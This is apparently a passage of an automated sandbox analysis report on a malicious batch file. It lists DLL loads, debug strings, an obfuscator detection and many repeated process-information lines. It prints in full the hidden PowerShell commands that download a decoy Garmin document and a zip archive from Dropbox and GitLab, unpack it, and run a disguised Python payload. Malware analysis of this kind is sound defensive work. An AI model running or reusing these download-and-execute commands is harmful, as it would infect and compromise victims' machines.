                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dllJump to behavior
                  Source: Binary string: ystem.pdb source: powershell.exe, 00000011.00000002.1628176559.00000272A9280000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: C:\Windows\mscorlib.pdbpdblib.pdb source: powershell.exe, 00000011.00000002.1630030775.00000272A9350000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: \??\C:\Windows\dll\mscorlib.pdb source: powershell.exe, 00000011.00000002.1628176559.00000272A92C6000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: System.pdbN|2h|2 Z|2_CorDllMainmscoree.dll source: powershell.exe, 0000000F.00000002.1494836924.0000027541C51000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: n.pdb source: powershell.exe, 0000000C.00000002.1385589073.000001632A7BE000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 0000000F.00000002.1494836924.0000027541D02000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: \??\C:\Windows\System.Management.Automation.pdb source: powershell.exe, 0000000C.00000002.1384475159.000001632A657000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: n.pdbm} source: powershell.exe, 00000011.00000002.1631228691.00000272A94F0000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: bpdbtem.pdb-N source: powershell.exe, 0000000C.00000002.1384475159.000001632A5C4000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: System.pdb source: powershell.exe, 0000000F.00000002.1494836924.0000027541C51000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: n.pdbREI source: powershell.exe, 0000000F.00000002.1494836924.0000027541CB5000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: n.pdb3H source: powershell.exe, 0000000C.00000002.1385589073.000001632A7BE000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: System.IO.Compression.FileSystem.pdb7-8B11-F424491E3931}\InprocServer32h source: powershell.exe, 00000011.00000002.1630030775.00000272A9326000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: powershell.exe, 0000000F.00000002.1497479623.0000027541EBF000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: System.Core.pdb source: powershell.exe, 0000000C.00000002.1384475159.000001632A580000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: m.pdb]} source: powershell.exe, 00000011.00000002.1631228691.00000272A94F0000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb1 source: powershell.exe, 0000000F.00000002.1497479623.0000027541EBF000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: ion.pdb source: powershell.exe, 00000011.00000002.1631228691.00000272A94F0000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: *.pdb{ source: powershell.exe, 0000000C.00000002.1384475159.000001632A65F000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: 089\System.Core.pdb source: powershell.exe, 00000011.00000002.1631228691.00000272A94F0000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: n.pdbM} source: powershell.exe, 00000011.00000002.1631228691.00000272A94F0000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: System.Core.pdbk source: powershell.exe, 0000000C.00000002.1384475159.000001632A580000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdbM source: powershell.exe, 00000011.00000002.1628176559.00000272A92A4000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdbX| source: powershell.exe, 00000011.00000002.1631228691.00000272A94F0000.00000004.00000020.00020000.00000000.sdmp

                  Data Obfuscation

                  barindex
                  Yara detected Abobus Obfuscator
                  Source: Yara matchFile source: De17De16.bat, type: SAMPLE
                  Suspicious powershell command line found
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1', 'C:\Users\user~1\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx')"
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Start-Process 'C:\Users\user~1\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx'"
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/garvdsf/dsfg/-/raw/main/FGa1712.zip', 'C:\Users\Public\Document.zip')"
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document')"
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command " C:\Users\Public\Document\pythonw.exe C:\Users\Public\Document\DLLs\ld_312.pd clickapp"
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1', 'C:\Users\user~1\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx')"Jump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Start-Process 'C:\Users\user~1\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx'"Jump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/garvdsf/dsfg/-/raw/main/FGa1712.zip', 'C:\Users\Public\Document.zip')"Jump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document')"Jump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command " C:\Users\Public\Document\pythonw.exe C:\Users\Public\Document\DLLs\ld_312.pd clickapp"Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_00007FFAAC3D7047 push esp; retf 12_2_00007FFAAC3D7048
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 15_2_00007FFAAC3D58CC pushad ; ret 15_2_00007FFAAC3D5979
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 15_2_00007FFAAC3D584D pushad ; ret 15_2_00007FFAAC3D5979
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 17_2_00007FFAAC5423EC push 8B485F93h; iretd 17_2_00007FFAAC5423F1

                  Persistence and Installation Behavior

                  barindex
                  Tries to download and execute files (via powershell)
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1', 'C:\Users\user~1\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx')"
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/garvdsf/dsfg/-/raw/main/FGa1712.zip', 'C:\Users\Public\Document.zip')"
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1', 'C:\Users\user~1\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx')"Jump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/garvdsf/dsfg/-/raw/main/FGa1712.zip', 'C:\Users\Public\Document.zip')"Jump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
